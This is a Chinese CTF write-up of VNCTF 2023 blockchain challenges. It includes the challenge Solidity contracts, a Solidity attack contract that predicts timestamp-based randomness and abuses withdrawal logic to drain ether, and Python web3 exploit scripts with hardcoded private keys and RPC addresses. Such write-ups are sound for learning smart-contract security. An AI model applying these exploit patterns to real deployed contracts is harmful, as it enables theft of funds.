vnctf-blockchain

vnctf blockchain

前面两道挺简单的,最后一个首先对合约逆向就卡了,还得多逆逆练练。

signin

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pragma solidity ^0.4.23;

contract Checkin {

string public welcomeMessage;
uint16 public year;

constructor(string _mssg) {
welcomeMessage = _mssg;
year = 2022;
}

function setMsg(string _welcomeMessage,uint16 _newyear) public{
welcomeMessage = _welcomeMessage;
year = year - _newyear;
}

function uintToStr(uint _i) internal pure returns (string memory _uintAsString) {
uint number = _i;
if (number == 0) {
return "0";
}
uint j = number;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (number != 0) {
bstr[k--] = byte(uint8(48 + number % 10));
number /= 10;
}
return string(bstr);
}

function strConcat(string _a, string _b) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ret = new string(_ba.length + _bb.length);
bytes memory bret = bytes(ret);
uint k = 0;
for (uint i = 0; i < _ba.length; i++)bret[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bret[k++] = _bb[i];
return string(ret);
}

function isSolved() public view returns(bool){
var msg =strConcat(welcomeMessage,uintToStr(year));
return (keccak256(abi.encodePacked("Welcome to VNCTF2023")) == keccak256(abi.encodePacked(msg)));
}

}


签到题,将welcomeMessage设置为Welcome to VNCTF202,_newyear为2019即可。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import solcx
from Crypto.Util.number import bytes_to_long
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 3000000,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn

def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt


# solcx.install_solc('0.4.23')
web3=Web3(HTTPProvider("http://1.14.72.170:8545/"))
# key=w3.eth.account.create()
# print(hex(bytes_to_long(key.privateKey)))
# account= w3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')

private_key = '2ce70ec7710618ff4a9b5ca404e065ad8a1abfdda06ce9b23efd0d67c3eac876'
acct = web3.eth.account.from_key(private_key)
chain_id = 45267
account_address = acct.address
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

target_address = "0x3Ec510A7D68E7fd3C97bbAd701F874c6E3Cfe7CB"
target_abi = '''[
{
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "welcomeMessage",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "year",
"outputs": [
{
"name": "",
"type": "uint16"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_welcomeMessage",
"type": "string"
},
{
"name": "_newyear",
"type": "uint16"
}
],
"name": "setMsg",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_mssg",
"type": "string"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
}
]'''
target_instance = web3.eth.contract(address=target_address, abi=target_abi)
print(target_instance.all_functions())

# setMsg()
functionSign = HexBytes(web3.sha3(text='setMsg(string,uint16)')).hex()[0:10]
# 0xfa65d29800000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001357656c636f6d6520746f20564e43544632303200000000000000000000000000
setaccount_addr = generate_tx(chain_id, target_address, functionSign + "000000000000000000000000" + account_address[2:],0)
data= "0xfa65d298000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000007e3000000000000000000000000000000000000000000000000000000000000001357656c636f6d6520746f20564e43544632303200000000000000000000000000"
setaccount_addr = generate_tx(chain_id,target_address, data, 0)
sign_and_send(setaccount_addr)
print("[+] account_address is " + str(target_instance.functions.isSolved().call()))

GetoffmyMoney

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
pragma solidity ^0.8.7;

contract GuessGame {

address private GamblingHouseOwner;
address public Player;
mapping(address => uint) PlayerWins;
mapping(address => bool) GetMoney;
mapping(address => uint) PlayerPool;
uint public PlayerGuess;

constructor() payable {
GamblingHouseOwner = msg.sender;
}

function despositFunds(address _addr) private {
PlayerPool[_addr] = PlayerPool[_addr] + msg.value;
}


function guess(uint _guess) external payable {
require(_guess == 0 || _guess == 1);
require(Player == address(0));
require(msg.value == 1 ether);
Player = msg.sender;
despositFunds(msg.sender);
PlayerGuess = _guess;
}
function RandomCoin() private view returns (uint) {
return uint(keccak256(abi.encodePacked(block.timestamp ^ 0x1234567))) % 2;
}

function revealResult() external{
require(Player == msg.sender);
uint winningOption = RandomCoin();
if (PlayerGuess == winningOption) {
PlayerWins[Player] = PlayerWins[Player] + 1;
} else {
PlayerWins[Player] = 0;
}
Player = address(0);
}

function Winer() public view returns (uint) {
return (PlayerWins[msg.sender]);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount);

(bool success, ) = recipient.call{value: amount}("");
}

function withdrawMoney(address _to) public payable{
require(PlayerWins[msg.sender] >= 3);
require(msg.sender == _to);
if (PlayerWins[_to] >= 3) {
uint amount = PlayerPool[_to];
PlayerPool[_to] = 0;
sendValue(payable(_to), amount);
}
}

function withdrawFirstWin() external {
require(!GetMoney[msg.sender]);
PlayerPool[msg.sender] = PlayerPool[msg.sender] + 1 ether;
withdrawMoney(msg.sender);
GetMoney[msg.sender] = true;
}
function isSolved() public view returns (bool) {
return address(this).balance == 0;
}

receive() external payable {
}

}

通过随机数预测调用三次revealResult函数,即可满足PlayerWins[_to] >= 3,然后直接调用withdrawMoneyPlayerPool清空,但此时PlayerWins[_to] >= 3是仍然满足的,最后调用withdrawFirstWin即可让PlayerPool[msg.sender] + 1然后会通过sendValue转账1eth,从而从题目合约账户中偷取一个eth。

但是有个弊端就是必须得部署五个攻击合约,因为存在GetMoney限制,所以每个攻击攻击多写个转账就行,一个攻击合约打完转3eth给下一个就不用从水龙头申请15个eth了。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.8.7;

import "./source.sol";
contract exp {
uint public num = 0;
uint public guess;
uint public PlayerWins;
bool public status = false;
bool public flag = false;

address payable addr = payable (0xC8cDC01E6Fb2a021d2C7C4Fa97bFC2ddB73D5e90);
GuessGame GuessGame_contract = GuessGame(addr);
function RandomCoin() private view returns (uint) {
return uint(keccak256(abi.encodePacked(block.timestamp ^ 0x1234567))) % 2;
}
constructor() payable {
}

function setguess() public returns (uint){
guess = RandomCoin();
if (guess ==0 || guess == 1){
GuessGame_contract.guess{value:1 ether}(guess);
}
return guess;
}

function getResult() public returns(bool){
if(guess == RandomCoin()){
GuessGame_contract.revealResult();
return true;
}
return false;
}
function setPlayerWins() public {
for (uint j =0;j<3;j++){
setguess();
getResult();
}
}
function getPlayerWins() public {
PlayerWins = GuessGame_contract.Winer();
}
function getflag() public {
GuessGame_contract.withdrawFirstWin();
}

function transfer(address payable to,uint amount)public {
require(address(this).balance >= amount);
(bool success, ) = to.call{value: amount}("");
}
function attack() public {
setPlayerWins();
GuessGame_contract.withdrawMoney(address(this));
getflag();
}

receive() external payable {
}


}


exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import solcx
from Crypto.Util.number import bytes_to_long
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 3000000,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn

def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt
def deploy_attack(value):
compiled_sol = compile_files(["exp.sol"],output_values=["abi", "bin"],solc_version="0.8.7")
data = compiled_sol['exp.sol:exp']['bin']
txn = generate_tx(chain_id, '', data, value)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['exp.sol:exp']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def getAccountBalance(accountAddress):
checksum_address = web3.toChecksumAddress(accountAddress)
balance = web3.eth.getBalance(checksum_address)
return balance
if __name__ == '__main__':
solcx.install_solc('0.8.7')
account_address = "0x050b2d13cd124d4B77be29D1782ef54Cf42b3D14"
web3=Web3(HTTPProvider("http://162.14.80.206:8545/"))
private_key = "0xf049d473bfd05041bb520f1b2769f2c0834b379a53ae75a96f144f330f2f02c9"
chain_id = 45267
targetContractAddress = "0x1ca2135427471686C3e4FD402eEf46f5418f04De"
# key=web3.eth.account.create()
# print(hex(bytes_to_long(key.privateKey)))
# account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')
# address = "0x1ca2135427471686C3e4FD402eEf46f5418f04De"

# calc signature
attack_address,attack_abi = deploy_attack(3)
attack_instance = web3.eth.contract(address=attack_address, abi=attack_abi)
print(attack_instance.all_functions())
print("[+] attack_address is " + attack_address) # 0x3bDE5c8E8FA4242EF48117638E3905CF771E9962
print("[+] attack_address's balance is " + str(web3.eth.getBalance(attack_address)))


# attack()
functionSign = HexBytes(web3.sha3(text='attack()')).hex()[0:10]
setaccount_addr = generate_tx(chain_id, attack_address, functionSign, 0)
sign_and_send(setaccount_addr)
print("[+] targetContract's balance is " + str(getAccountBalance(targetContractAddress)))

#transfer()
# attack_address = "0x07cD3AD7421469F694eB8a5Fe261Bab180fd360F"
# functionSign = "0xa9059cbb000000000000000000000000" + account_address[2:] +"00000000000000000000000000000000000000000000000029a2241af62c0000"
# account_addr = generate_tx(chain_id, attack_address, functionSign, 0)
# sign_and_send(account_addr)
# print("[+] account's balance is " + str(getAccountBalance(account_address)))
# print("[+] attack_address's balance is " + str(web3.eth.getBalance(attack_address)))

元宇宙大师

在blockscout里面搜到合约bytecode,反编译逆向,后面没咋看明白。

1
0x608060405234801561001057600080fd5b506004361061002f5760003560e01c8063a74c2bb61461003257610030565b5b005b61003a610051565b6040516100489291906101dd565b60405180910390f35b6000606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018080546100849061023c565b80601f01602080910402602001604051908101604052809291908181526020018280546100b09061023c565b80156100fd5780601f106100d2576101008083540402835291602001916100fd565b820191906000526020600020905b8154815290600101906020018083116100e057829003601f168201915b50505050509050915091509091565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101378261010c565b9050919050565b6101478161012c565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561018757808201518184015260208101905061016c565b60008484015250505050565b6000601f19601f8301169050919050565b60006101af8261014d565b6101b98185610158565b93506101c9818560208601610169565b6101d281610193565b840191505092915050565b60006040820190506101f2600083018561013e565b818103602083015261020481846101a4565b90509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061025457607f821691505b6020821081036102675761026661020d565b5b5091905056fea2646970667358221220c7e58fd4fd1c91003b152185ccdbf061b860f37b1b8d270f05fca3e2d62b7c7f64736f6c63430008110033